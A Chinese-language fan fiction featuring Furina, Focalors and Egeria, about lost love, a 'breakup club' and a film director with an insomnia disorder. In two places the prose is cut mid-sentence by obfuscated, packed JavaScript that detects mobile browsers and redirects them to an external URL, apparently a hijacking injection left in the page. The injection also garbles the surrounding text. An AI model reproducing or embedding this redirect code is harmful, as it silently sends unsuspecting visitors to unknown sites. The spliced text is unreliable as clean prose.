“不,我是来请求你的,”厄歌莉娅揉了把长发,波浪一样从指尖荡起又落下,“我希望你能同意与芙卡洛斯再见一面。” “不可能。”芙宁娜断然拒绝。 厄歌莉娅捧起酒杯,在芙宁娜面前的酒杯上轻轻碰了一下:“我可以许诺你很多东西。与刺玫会的合作,与芙卡洛斯的爱情……” 芙宁娜勃然大怒,推开桌子站起来:“如果这就是你要与我说的——将感情视作交换的筹码,将人心视作玩弄的工具——那么,再见,再见,厄歌莉娅女士,而且我真诚地祝您生活愉快!” “不要误会,”厄歌莉娅抬头平静地说,“我正在想尽一切办法挽留芙卡洛斯的生命——只是并不知晓你的价码。现在她简直一刻也等不急要去找你。她发了疯。 “你知道吗?我从来没有恨过你。我只是单纯地嫉妒你。你那么年轻,你的心还鲜活,你还有很多爱,可以支撑你走很多路。 “可是我已经老了。我已经老得没有力气再爱上另一个谁。” 厄歌莉娅伸出胳膊。她说,这里,这里,还有这里,你能想象雪茄留下的疤痕是什么样的吗?因为缺少你的爱,她日渐干涸。如今,她丧失了味觉,终日不知饥渴。 17. 失恋俱乐部(三) 三渴的答案 芙宁娜喜欢她那双棕色低跟小皮鞋。穿上它的时候,她像真正的优雅的小姐,戴上大大的洋帽参加茶会。她同样喜欢芙卡洛斯穿着同样的小皮鞋的样子,她们手挽着手去上淑女的必修课。 芙宁娜也喜欢她的蓝色硬壳笔记本。封面上歪歪扭扭地写,“芙宁娜”,顿了顿,另一道笔迹平稳地续上,“&芙卡洛斯”。那时候她们还在读书,人生最后一段平静的时光。芙卡洛斯结束实习后会来教室等她。课程结束,她收拾着东西,从有条不紊到不耐烦,最后把笔、本子和水杯一股脑儿地塞进包里,再一股脑儿地把自己和背包塞进芙卡洛斯怀里。那时候她不知道芙卡洛斯在厄歌莉娅那里实习,也许她们共饮同一杯咖啡,在工位上彼此交换早安吻,把这个城市的季风都吸入肺中。 她在笔记本的最后一页写:失恋:这是一件平常的事。不应当哭泣,因为它实在太过平常。 芙宁娜思索着厄歌莉娅说的话。她说芙宁娜是一块硬糖。她的心是强大的。所以她选择放手,而芙卡洛斯则陷入泥沼。 芙宁娜垂下眼睫,慢慢蹲下身去。其实芙宁娜很少哭泣。芙卡洛斯时常劝诱她哭泣,但她总是拼命地忍住。在今日之前,芙宁娜从未想过,那是因为她的心很强大,她有勇气亲手斩断两只如此亲密的刺猬之间的联系。她想起四年以前的深夜,芙卡洛斯和她肌肤相亲,那时候她躺在床上想了很多很多,想毕业以后会去哪里旅行,想花田里芙卡洛斯会怎样微笑,想她们会从事什么样的工作,想她们会拥有怎样一个温馨的陋居,想她的肩带原来是白色的。想到这些她的脚步就快起来,从缓步慢走到像飞鸟一样小跑起来。她就这样跑在异国他乡的小巷里、街道上,穿过石阶和有着高高拱门的图书馆,跑进雨幕,跑进酒馆,跑进书页,跑进便利店,跑进指尖跑进气泡跑进暮色跑进宇宙。 一个熟悉的轻柔声音说,我带了樱桃来。 芙宁娜呆呆地抬头,缓慢地让自己已经僵硬的身体依靠着背后的玻璃门向上延展。原来她蹲在酒吧的玄关。这是个双层玻璃的曲折结构,门开在侧边一角。她不知道芙卡洛斯什么时候来的、看了多久。 芙卡洛斯隔着玻璃与她对视。 芙宁娜转过身去,重重地压上玻璃。 声音慢慢包围了她的身体,一种温柔的触碰:“你回来了。” “……我回来了。”芙宁娜把下巴埋进围巾。 “一直以来,我都很想跟芙宁娜说,对不起呢。” “……” “我知道我是这样一个人:贪婪、自私、残忍。因为我自己的抉择,总要周围人来买单。” “……” 芙卡洛斯心平气和地说:“可是,爱是没办法的事呀。” 芙宁娜再也忍不住,她愤怒地转过头,隔着玻璃恶狠狠地开口:“是的,是的,贪婪、自私又残忍!世界上最会骗人的女人!温柔的,残酷的,冷漠的芙卡洛斯!你到底想要我怎么样?卑微地跪服在你面前?接受三个人的拥挤爱情?假装我拥有你的爱就拥有了全世界?” “我知道……我并不奢求原谅。很痛苦吧,那颗心。” 芙宁娜不说话。她感到眼帘像即将被洪水冲垮的大坝,摇摇欲坠。 “芙宁娜,我们是这样两只刺猬。我们心意相通,我们描摹彼此的刺的形状,我们了解每一次伤害的原因,我们知晓如何抚慰伤口、抱团取暖。所以,芙宁娜的痛苦就是我的痛苦。可是这颗属于芙卡洛斯的心还有更多的痛苦……因为我的愿望就是像芙宁娜一样被毁掉。” 芙宁娜猛然抬起头。她的视线从芙卡洛斯的面庞移到胸前,那个牛皮纸袋子没有封口,露出樱桃深邃的颜色。 “这个世界上只有我们是同类。只有我们是残缺的,只有我们能相互契合,彼此相连成为一个圆满的……” 芙宁娜打断了她:“你能不能不要再这样自以为是了?” 芙卡洛斯露出些许错愕的表情。 “为什么你们不能承认,爱就是痛苦?”芙宁娜说着,愈说愈快,“为什么你们不能承认,爱就是困难,爱着就是悲剧?对十八岁的我来说只要爱着就可以了,只要被爱着我可以立刻去死。对二十二岁的我来说也是一样,这世界没有用它的荒谬与芜杂压垮我,我要爱,我要暴烈地爱,我要短暂地爱。如果不爱,我的身体就会死去。局部的病毒将扩展至全身。我的味觉已经死去了,但那并不是因为你不爱我,而是因为我在欺骗自己说我不爱你!” 芙宁娜剧烈地喘了口气: “如果你不爱我,那我偏要爱你。 “如果你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099060|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱我,我要加倍爱你。 “我爱你,这件事与你无关!” 樱桃香烟的气味和柔软流动的水都没有形状。芙宁娜就着芙卡洛斯的手吃下樱桃。甜腻的味道在口腔里弥漫。芙宁娜一边流泪一边感到,名为芙宁娜的部分终于在这具身体里复苏了。她发觉有什么东西被推上手指,抬到面前一看,原来是那枚落在他乡下水道里的戒指。它中间嵌的一小颗宝石很蓝很蓝。 “怎么样?我们的失恋俱乐部。” “喔,还挺像样的。”芙宁娜这样说,努力掩饰不屑的神气。 厄歌莉娅轻笑道:“那么,你考虑好了吗?” “嗯。我想这没有什么意义,但人生就是没有什么意义的。”芙宁娜眨眨眼,抬头望向天花板上的吊灯。和刺玫会那顶水晶灯不同,这是一个低调朴素、平平无奇的灯具。 “那么,请允许我代表失恋俱乐部的全体会员欢迎你的加入。”厄歌莉娅微微俯身行礼,做了个邀请的手势。 “顺便一问——大名鼎鼎的主理人厄歌莉娅女士,有同刺玫会合作的意愿吗?” “当然,我的荣幸。” 娜维娅满意地点头,拍了拍芙宁娜的肩膀,很没义气地直接离开了。 芙宁娜对着她的背影努了努嘴:“再顺便一问——大名鼎鼎的主理人厄歌莉娅女士,您找到您曾经丢失的心脏了吗?” 厄歌莉娅说:“也许它就躺在浴缸里,也许它在宇宙里漂浮。” 她们仿佛很正式地握了握手。厄歌莉娅又说:“再次确认一下共识:我们并没有得到答案。” “是的。我们仍未知道为什么芙卡洛斯那么伟大。” 芙卡洛斯心虚地低下头去。 “但是这已经不重要了。如你所说,我们每个人的爱,都与被爱的那个人无关。我们因爱着而确认自身的存在,这就足够了。” 厄歌莉娅最后补充说:“失恋俱乐部只有一个小小的每日仪式是要求会员必须完成的。”她看向站在一旁的芙卡洛斯。 芙宁娜也顺着她的目光看过去:“是什么呢?” 芙卡洛斯说:“kiss me and say goodbye.” 芙宁娜笑了。她们吃樱桃,在失恋俱乐部里。这是一个平平无奇的忧郁的星期三。 18. 失眠症候群(一) *芙卡洛斯中心,内含厄歌莉娅→芙卡洛斯←芙宁娜,快跑。 有没有一种可能,我们生活的世界是如此这般:没有沉眠,没有清醒。醒时梦游,睡时失眠。有细胞在六百万年里未曾醒来,有梦乡在一秒钟内如沫破灭。人们赤身裸体地与空气搏斗一生,最后宇宙啪地一声熄灭,万万人一起梦游一起失眠。 医生啪地一声摁下圆珠笔:非常典型的失眠症候群。 失眠症候群? Insomnia syndrome,简称IS,你可以理解为一种睡眠障碍,病因不明,暂时没有治疗手段。IS的典型临床表现为难以入眠,或睡眠质量下降,同时可能伴有梦游、梦话等症状,患者初期便开始混淆梦境与现实,随病程进展逐渐加重,常被误诊为精神分裂症。但和DSPD不同的是,患者昼夜节律仍然保持正常水平。 DSPD? 睡眠相位后移症候群,delayed sleep-phase syndrome,简称DSPD。简单来说,就是患者的生物钟相对大众有所延迟。 谢谢您,这很有意思。 最重要的一点是。医生倒转笔杆,对准桌子,啪地一声宣告病历完成:IS患者症状会逐渐加重,直至完全迷失在现实与梦境之间。大多数患者的归宿都是精神病院,望您知晓。 您说大多数,那还有小部分患者呢。芙卡洛斯如此问道。 医生心平气和地说,自杀或自杀未遂。芙卡洛斯小姐,左转窗口排队缴费,一楼药房取药。 芙卡洛斯觉得好笑:不是没有治疗手段吗? 安眠药。医生并不看她,只做了个手势:下一位,请进。 01 久雨之人 “下一部?下一部的事情下一部再说啊。”芙卡洛斯挂断电话,把自己扔到潮湿的床单上,干净果断,与扔一条濒死的鱼无异。那盒思诺思就扔在茶几上,不过是另一条濒死的鱼。猫来蹭她的腿,发出甜腻的叫声。 窗外的雨下得犹豫,从窗缝里钻进来的部分柔弱无力地聚成浅水洼,芙卡洛斯用一张餐巾纸就吸干了这滩被世界遗忘的海洋。 大部分时候芙卡洛斯都希望雨季不再来。因为下雨是一件很麻烦的事情,对导演来说,即使当时她正迫切地需要一场雨。它的时机,力度,色泽,都无法预测。尽管芙卡洛斯有充足的耐心,但面对不在掌控之中的事情,她总还是有一点焦躁。 没有人会想到,芙卡洛斯竟然不喜欢雨天。毕竟《卡门之死》大获成功。那是她的出道之作,斩获几乎所有主流奖项。豆瓣点赞最高的一篇影评说她是世界上最会拍雨的导演。你无法想象的、能够想象的、曾经见过的、不曾存在的雨她都能拍出来,而且就在这一部电影里,影评人如是说。卡门死时那场雨将是载入影史的一场雨,主演芙宁娜就凭这一场戏,也将是能载入影史的女演员。她后来的每部作品都不会缺少雨戏,尽管并不是出于要将雨打造成她个人名片的刻意。芙卡洛斯每次回想起这些生命中的水洼,都只好将之追溯到她出生那天的雨。 芙卡洛斯不知道自己的生日,也不知道自己的父母。昏暗小巷、过期面包、腐烂水果把她养到六岁,然后一所不知名的孤儿院接手将她抚养成人。但她知道自己出生时在下雨,不是坚信,而是知道。她曾经如此对夏洛蒂陈述:总有人知道雨下在自己的生命里,这样的人不需要伞。我就是如此知道,我出生时,窗外在下雨,港口在下雨,全世界都在下雨。 夏洛蒂那篇题为《久雨之人》的报道火得一塌糊涂,杂志社连夜给印厂下新订单。芙卡洛斯收到两本崭新的样刊,一本拿来垫桌脚,一本拿来压泡面。她对夏洛蒂说,我并不是不珍惜你的文字,而是你的文字不该登在这种小报上。她说得对,第二年夏洛蒂就跳槽去了蒸汽鸟报。采访芙卡洛斯和她的新作《暴雨来电》的专题报道沸沸扬扬地绕国境线三圈,飞去国外飞向世界飞往宇宙。那本特刊在芙卡洛斯的书架上觅得一个角落,扉页还有作者夏洛蒂本人的签名。 【第一百三十六场,雨天……】笔迹划掉“雨天”,又在纸上斟酌出一群蝌蚪。很快蝌蚪变成青蛙,从那张吸干海洋的餐巾纸里一只一只往外跳,好像千百个池塘里全部的蝌蚪库存都在这里了。 “所以我说,你真得好好休息。淡水和咸水都分不清了。”电话对面的女声如是说。 芙卡洛斯放下Apple pencil,举着手机翻身躺上沙发,双目无神地看着空无一物的天花板,有气无力地说:“我的神经还很活跃,你明白吗?青蛙们在唱歌剧。” “那就写出来。” “我写不出来——我不能写。我不能再写雨了。雨雨雨。雨已经把我浇透了,现在它想入侵我的骨头。我的骨头知道这一点,它在向我求救。”芙卡洛斯把手机拉到嘴边,点开外放。 “写吧,你想写,那就写。就算又写了雨,那又怎样呢?至少,我依旧愿意担任你的制片。” 女声很温柔、又很无畏地说着,她的声线和说出的话以一种奇特的张力回荡在房间里,让芙卡洛斯忍不住露出被羽毛挠到般的笑容:“谢谢你,厄歌莉娅。不,谢谢你,前辈。但我真的不想再被雨绑架了。这个故事我很喜欢,我希望它不要被雨淋湿。” “你决定就好,再多休息一段时间也没什么的。院线总是很忙碌,不缺一两部片子。他们宁愿用垃圾填满所有时间,也不肯多给我们哪怕百分之一的排片。”从厄歌莉娅轻松的语气来看,她其实并未把这当回事。 “我想我们都已经习惯了。”芙卡洛斯说,以一种郑重的口吻。她喜欢这样做,用严肃的语气说调侃的话,用嘲笑的语调说沉重的事,这样才够反讽。戏剧喜欢张力,所以芙卡洛斯也要充满张力。 厄歌莉娅在对面轻笑,她说:“是的,我们都已经习惯了。再见,芙卡洛斯。” 芙、卡、洛、斯。念这个名字的时候,总是嘴唇慢慢张开到最大,然后舌头蜻蜓点水地亲吻上颚,最后收尾时要把唇抿紧,上下唇轻轻一碰,从中摩擦出暧昧的气流。厄歌莉娅喜欢冷不丁地俯身在她耳边这样叫她,于是那股气流就尽数顺着耳道流进她的躯体。 想到这里芙卡洛斯不禁微怔,把手机从耳边拿开。对面已经挂了,慌乱中她点开其他人的聊天框,随便敲出几个字母,又慢慢删去。究竟在欲盖弥彰些什么?她不知道。 她心烦意乱地低头,才看清她滑开的是芙宁娜的聊天框。上一条聊天记录还停留在对方的拒绝。 芙宁娜说:你厌倦了雨,我也是。如果新作还是和雨有关,请恕我拒绝。 芙卡洛斯缓慢地用指节敲下几个字:有时间面谈吗。 芙宁娜的名字好几次变成“对方正在输入中……”,但一直没有新消息发来。芙卡洛斯很有耐心地等。 芙宁娜是一个对芙卡洛斯来说十分奇特的人。她们的成长经历完全不同,但长相十分相似,芙卡洛斯几乎以为她们是亲生姐妹。第一次见面她就提出亲子鉴定这么冒犯的要求,但却没有冒犯到芙宁娜,后者非常爽快地同意,随后排除了她们之间任何可能的血缘关系。但这只是她们合作的一段小插曲,甚至称不上不愉快。 芙宁娜出演《卡门之死》的时候才十六岁。不是谁的十六岁都能掌控卡门这样的角色,但芙宁娜可以。她圆滑、老练、自如的演技几乎是已历尽风霜、成熟过头的艺术家才能拥有的,叫人疑心她是否在短短十六年的时间里活过好几辈子,或上辈子投胎前忘记喝孟婆汤。 有影评人说芙宁娜只是遇到了合适的角色。言下之意,芙宁娜和卡门是一类人。她们是放荡的自由鸟,任谁也抓不住。然而《暴雨来电》里芙宁娜又完美出演了一个羞涩单纯的高中生米娅,流离失所在洪水之年。那之后没有人再敢轻易评价芙宁娜,他们明白那瘦削的身体里有一个巨大的黑洞。 芙卡洛斯对芙宁娜基本满意。基本满意的意思就是说,芙宁娜没有演出她心目中的百分百,但不会有人比她做得更好。 开拍前的主创见面会定于下周六晚上。芙卡洛斯还有最后一周时间打磨剧本。 【第一百三十六场,雨天,露景泉前。 那伊阿得斯提起裙摆。她踩过一地积水,凝神静听露景泉中的哭声。独自淋雨的宁芙想起很多往事。】 芙卡洛斯的双手移下键盘。她重重吐出一口浊气,又一个字一个字把这段删掉。太烦躁了。双手在键盘边用力敲几下不存在的黑白键,又转向一旁的酒杯,轻轻摇了摇剩下的半杯薄荷酒。它们从午后沉淀至日落,直到所有冰块都融进酒精的血液里。猫在一旁微微摇动自己蓬松的尾巴,换了个姿势压到她的键盘上,于是文档里出现了一排整齐的尖叫。 啊啊啊啊啊啊啊啊啊 芙卡洛斯看着这行字就好像她自己已经如此发泄过一般,微微笑了。她把猫抱到膝上。 《宁芙之梦》。这个故事经常出现在她的梦里,从有记忆开始。芙卡洛斯确信自己是被这个故事推着往前走的,她的一切选择、生命之火都来源于此。 如果IS病程加快,她恐怕没有办法再继续做导演了。这件事像一片乌云压在芙卡洛斯心头。又沉重又轻盈。 她说不清到底是恐惧还是庆幸。既恐惧于无法完整地讲述这个故事,又庆幸于能够不再沉溺于这个故事。有时候她真的觉得,她是为了说出这个故事才来到世上的。这让她焦急又燥热。她迟迟说不出这个故事的第一句话,那句话酝酿了二十八年,二十八岁的芙卡洛斯着手开始写剧本时仍然不知道那句话在哪,仿佛它被她遗忘在一个清醒的梦境里。 一打开文档,她就无边无际地飘荡在水洼上,青蛙们不听她的指挥,把歌剧唱成一团揉皱的蝌蚪。 芙宁娜最终回复她“好”。孤零零一个字悬在对话框,如一只白色气球悬在水上。芙卡洛斯把见面会的时间和地点转发给她,丢下手机和猫去冰箱里搜刮薄荷酒和冰块。她的冰箱向来空空荡荡,只有烟草和酒精能占据一席之地。 翡翠色液体流进杯子流进喉咙流进胃里,一路风卷残云把所有忧愁都烧尽。 电话就在这种时候没有眼色地响起,芙卡洛斯弯腰去看躺在沙发上的手机,原来是生活助理克洛琳德。说是生活助理,其实克洛琳德包办了她工作与生活24h不间断生产出的全部杂活。芙卡洛斯曾不止一次对外声称她有全世界最好的助理。 “芙卡洛斯小姐,您审完剧本了吗?公司那边催我提交。”公事公办的冷静语气,克洛琳德的工作风范。 芙卡洛斯歪头把手机夹在耳后,腾出手来打开电脑,在文件夹里翻找着问:“那个《枫丹饮食男女》?” “正是。”几乎是铿锵有力的两个字了。 “克洛琳德,不用这么刻板吧?我以为我们已经是朋友了?”芙卡洛斯快速地滑着滚轮,企图通过一目十行回忆旧故事。 “那您希望我怎么回复?” 芙卡洛斯都能想象电话那头克洛琳德的模样——一丝不苟,面无表情。她想着想着就笑了:“首先,不用用您称呼我。” “好的,芙卡洛斯小姐。” “也不要这个。” “……” 芙卡洛斯伸了个懒腰:“好啦,不逗你了。我也不是那么无情的哦?一定要你改变自己的习惯,那未免也太无趣了。克洛琳德怎么喜欢就怎么称呼吧。说回这个剧本——”芙卡洛斯深深皱眉,“我觉得还是有待打磨。” “明白了。明天我会与董事那边交涉,保守估计能为您争取至少一个月时间。” “我就知道!没有克洛琳德我可怎么办呀。”芙卡洛斯心满意足地笑了起来。 挂断电话她端起酒杯一饮而尽。明天再开始吃思诺思,到时候戒酒也来得及。她状似冷静地想。 厄歌莉娅预定的包厢在二楼。芙卡洛斯将还在滴水的长柄伞递给服务员,踩上铺着大理石的雪白楼梯。雨季时楼梯下会铺一块张扬的酒红绒毯,吸纳一切污浊,于是楼梯上来往的又都是光鲜亮丽的顾客了。 “我来晚了,自罚一杯。”芙卡洛斯推开包厢的门,发现人已到齐,留下中间的位置给她,便走过去脱下大衣,随手搁在椅背上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099061|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“导演兼编剧居然来得最晚,是该罚。”厄歌莉娅笑着说,她伸长胳膊递来酒杯,玻璃器皿挂在修长的两指间,杯底一层琥珀色液体与灯光同调。芙卡洛斯刚想接过,又想起床头那盒思诺思。她犹豫着摆手拒绝。厄歌莉娅从善如流地收回了手。 “还是赶快说正事吧。我可还没答应出演呢。”芙宁娜抬了抬帽子。自从成为炙手可热的大明星,那顶礼帽就成了她的纹身。芙卡洛斯拼命想要从帽檐下捕捉到一双眼睛,却只是徒劳。上一次没有镜头横亘于其间而直视那双眼睛是什么时候?她几乎有些记不清了。 厄歌莉娅有些意外:“怎么,这次的剧本芙宁娜小姐不满意?” “满意不满意的……不如说芙卡洛斯大导演卖了好大的关子,在座的有谁看到过完整的剧本吗?”芙宁娜习惯性地拉低帽檐,借着左手的掩饰喝了一口柠檬水。 芙卡洛斯看得想笑。她知道芙宁娜喜爱热闹的宴会,但厌恶无趣的社交。这一招还是她教给芙宁娜的,可以有效减少酒精摄入。但平心而论,在她芙卡洛斯的饭局上,还没有人敢逼她的御用主演喝酒。 “哎呀呀,大家也都是合作多次的熟人了,我对芙卡洛斯导演的本子有信心。”说这话的是赞助商雪翅雁商会代表萨德先生,他遥遥举起酒杯向芙卡洛斯示意,“只要芙卡洛斯导演多给芙宁娜小姐讲讲戏,有什么问题解决不了呢?” “那可未必。”芙宁娜冷淡地说,并没有转头看萨德一眼。 “萨德先生有所不知,电影并不是我一人的一言堂。芙宁娜的宝贵意见对成片来说非常重要。对不对,芙宁娜?”芙卡洛斯状似无意地开口接话,纵容芙宁娜的小小脾气,“难道我没给你讲过戏吗?” 芙卡洛斯调笑着看向芙宁娜。后者从帽下凝视她的淡眼瞳,无言地耸耸肩。 芙卡洛斯不是没给芙宁娜讲过戏。但很有想法的导演与很有想法的演员凑到一起,常常谁也说服不了谁,最后只好彼此妥协。 《暴雨来电》路演时夏洛蒂担任主持人,举着话筒说,我可以问一个很尖锐的问题吗?她的视线从芙宁娜扫到芙卡洛斯,又从芙卡洛斯扫到芙宁娜。芙卡洛斯笑着说,但说无妨啊。芙宁娜说,夏洛蒂你就是太有礼貌了,为了大新闻其他人都直接问的。 台下一片善意和鼓励的笑声。夏洛蒂就问,芙卡洛斯导演,芙宁娜是你想要的卡门和米娅吗? 芙卡洛斯低头想了想,问,这很尖锐吗? 夏洛蒂说,如果实话实说,那就很尖锐。 芙宁娜在一旁笑道,实话实说,我绝对不是她心目中的卡门和米娅。我不可能与亲爱的导演百分百同步,我不是她肚子里的蛔虫。只是古往今来所有导演羞于承认这一点,或者,至少在路演时不承认这一点。 她们在台上一齐笑起来。 芙卡洛斯补充说:但她演出了我设想的百分之九十九。剩下百分之一是因为我们DNA中的差异,你对本质的差异就是没什么办法的。卡门也好,米娅也罢,我们的确给了她们生命,但现在,她们已经从我们的生命里分离出去,从今往后,卡门是卡门,米娅是米娅,芙宁娜是芙宁娜,芙卡洛斯是芙卡洛斯。 但谁是芙卡洛斯?谁又是芙宁娜?当芙卡洛斯说“我是芙卡洛斯”时,她总觉得“我”并不能和“芙卡洛斯”这个名字划等号。在“我”之外,芙卡洛斯还有一些别的东西。构成芙卡洛斯的质料里还有一些不为人知的成分,比如粗玻璃珠、老旧电视机、喑哑断续的雨声之类的。芙宁娜也是一样。当她的嘴巴开合吐露芙宁娜的名字时,她总觉得是一粒一粒的泉水涌了出来。她想芙宁娜大概就是这样一种亮闪闪的,颗粒质感的水银色河流,在看不见的河面下,谁知道生存着些什么呢?也许是有毒的水母,也许是孱弱的鳄鱼,它们的眼泪汇进永不停歇的奔流。 酒桌上气氛一时有些沉闷。但芙宁娜向来不在乎这些:“不如借此机会请芙卡洛斯导演给我们好好讲讲,《宁芙之梦》究竟是什么样的故事?我知道你已经打磨很久了,但我们谁也没看过完整的剧本。” 萨德点头附和道:“这一点我必须拥护伟大的芙宁娜小姐,芙卡洛斯导演,请让我们吃颗定心丸,叫我们知晓又一部佳作已在酝酿之中了。” “难道厄歌莉娅和我不够令人安心?”芙卡洛斯挑了挑眉。 “哈哈,哪里的话。只是如果有芙宁娜小姐加入,‘黄金三角’不是更有看点吗?票房当然也更有保障。” 芙卡洛斯笑道:“那恐怕萨德先生这次要失望了。《宁芙之梦》不是商业片。” 萨德浑不在意地挥挥手:“芙卡洛斯导演的文艺片肯定能拿奖,迄今为止也都叫好又叫座,片子类型不是问题。” 芙宁娜说:“片子类型不是问题,但雨是。” 大家都沉默了。所有人——在这酒桌之上的所有人都或多或少了解过芙卡洛斯,当然知道她的生命如何阴雨不歇。可是从来没有人会觉得这会成为一个问题,除了芙卡洛斯和芙宁娜。 芙宁娜接着说:“就像我之前同你说的,如果仍然是一个和雨有关的故事,请容我拒绝。” “不会,”在其他人作出反应之前,芙卡洛斯斩钉截铁地说,“它不会和雨有任何关系。”她的语气几乎是挑衅的,像在明晃晃地对芙宁娜说,我比你更早更快更好地走出一场大雨。 总是这样。正因如此,芙宁娜时常觉得自己厌恶芙卡洛斯。在芙卡洛斯面前她就像赤条条的婴儿,□□,毫无尊严。她被她洞察了,不是通过眼睛,而是什么更深刻更本源的联系。但她对此一无所知。 芙卡洛斯思考的是很遥远的东西。但遥远的东西对芙宁娜来说是飘渺的。人怎么可能抓住风筝?人应该松开手里的风筝线,那根纤细的线不过是人一厢情愿的强求。芙宁娜就不这样:她思考的是切近的东西。蛋糕、银餐叉、洋帽、柴郡猫、硬壳童话书、明天的菜单和镜头里她的一举一动。她想跋涉出芙卡洛斯的那场大雨,她不想再被困在别人生命的阴雨中。可也许她实际上是被困在自己的雨里,关于这一点她暂时不愿也不敢深思。 19. 失眠症候群(二) 02 陈旧王冠 主创见面会结束后黄金三角约着去喝下一场。这也是老规矩了,毕竟她们算是校友,借此机会叙叙旧也是理所应当。一进十二月,临街店铺的橱窗就开始陆续增添红绿装饰。她们三个打着伞,错落钻进隐蔽巷落的酒馆。红墙边横出一盏陈旧的灯,下面画着一只正从锅里往外跳的兔子,旁边歪歪扭扭地写着Lapin Agile:这当然只是对蒙马特那家狡兔酒吧的拙劣致敬。但狡兔酒吧的红绿配色确实很有意思,至少现在它让她们恍然以为二十天后的圣诞节业已降临。 “一杯杏子鸡尾酒。芙卡洛斯呢,还是老样子?”厄歌莉娅很熟练地点单。芙卡洛斯大学时期就常来此处琢磨台词,说这里是《卡门之死》的摇篮也不为过。 那时芙卡洛斯总喝长岛冰茶。厄歌莉娅总说她实在太期待又太恐惧爱情了。芙卡洛斯说,只是因为长岛冰茶太具有欺骗性,常常不知不觉就醉了。醉的感觉很好,对一个写不出剧本的导演来说尤其如此。但今时不同往日,芙卡洛斯无力地摆摆手,说: “这次就算了。等停药了再说。” “药?” 两双明丽的眸子一齐看过来时,芙卡洛斯莫名感到压力,要了一杯冰水,然后故作无谓地解释道:“最近有点失眠。” “去看过医生了吗?”这是厄歌莉娅的关心。 “失眠是什么感觉?”这是芙宁娜的职业病。 芙卡洛斯不禁失笑:“不是什么重要的事情,不用在意。”她转向芙宁娜,“很难描述的感觉,如果你感兴趣的话,欢迎来我家小住一晚。顺便一提,芙宁娜也想你了。” 芙宁娜撇了撇嘴。 芙卡洛斯是在拍摄《暴雨来电》的时候开始养猫的。 “芙卡洛斯导演,您养猫了?好可爱!她叫什么名字?”克洛妮艾拿着手机,兴奋地蹦到芙卡洛斯面前。 “她叫芙宁娜。”她说。角落里传来吸气声、惊讶的议论和尖叫声。 芙宁娜不悦地投来目光。她的手机还停在芙卡洛斯晒猫的那条微博界面上。那只白色布偶猫被芙卡洛斯抱在怀里,正对着镜头不解地歪头。 “抱歉,但芙宁娜太可爱了嘛。”芙卡洛斯这样轻轻地说,于是芙宁娜就什么办法也没有了。她无可奈何地做了一个请求的手势,转而说起今天的戏。 后来芙宁娜就经常去喂芙宁娜。芙卡洛斯忙碌时,厄歌莉娅和克洛琳德轮流负责这只芙宁娜。但芙宁娜也在微博公开申明:往后禁止给家养宠物起名芙宁娜。 就算太可爱了也不行,她说。 从狡兔酒吧出来的时候,雨下得更大了。芙卡洛斯分不清自己靠着的肩膀是谁的,也分不清热源从哪边来。世界颠倒着,因为她一谈起《宁芙之梦》就忍不住喝酒。喝酒也好,喝醉了哪里还需要安眠药?让思诺思见鬼去吧。于是世界一会儿颠倒一会儿旋转。 路边某家不知名店铺在放歌。男子的吟唱滴进深夜的雨声,化作令她感到陌生的涟漪。 我想去见你不巧又碰上雨天 那就让我淋着雨绕过几条街 其实《宁芙之梦》不是什么复杂的故事。名为那伊阿得斯的宁芙做了一个梦,梦里她发现自己被困在由镜子作墙壁的房间里,她慌张地想要逃离。等她终于鼓起勇气打碎镜子,却发现每面镜子后都是一模一样的那伊阿得斯,身处于和她一模一样的镜子房间。她在镜宫奔逃三天三夜,亲手杀死无数个自己。最后,饱受折磨的宁芙像最伟大的神明一样跋涉到疑似出口的门前。门外的光宛如救赎照亮她的残躯与血污,她看清那扇门也是一面巨大的镜子。醒来时她睁开眼,看到对面镜中的那伊阿得斯正缓缓落下眼泪。 芙宁娜说,这实在是一个洋洋自得的故事。它完全是你一个人的故事。 芙卡洛斯说,我知道,所以我真的觉得镜宫里一直在下雨。但现在我知道它也许不该下雨。 厄歌莉娅说,我知道这是你生命的故事,所以我无条件支持你。我希望你能把它拍出来。 芙卡洛斯说,你已经拍出你生命的故事了吗?所以你才放弃了这一行? 厄歌莉娅摇了摇头。她说:不是因为已经拍出而放弃。因为畏惧和懦弱,我再也没有拍出那个故事的机会了。 她放下酒杯握住芙卡洛斯的手。她们的手都刚亲吻过冰块,此刻像两个冰山彼此摩擦。 曾经,我的生命中也有一个那伊阿得斯。但我看不到她被拍出来的希望。芙卡洛斯,尽管我们并不是严格的师承关系,连师姐妹都算不上——然而在这一点追求上,我们大抵算得上前后辈。厄歌莉娅如此说。杏子鸡尾酒从芙卡洛斯的耳道滑进去,一路坠入胃袋熊熊燃烧。 躺到床上的时候,芙卡洛斯还在想厄歌莉娅。 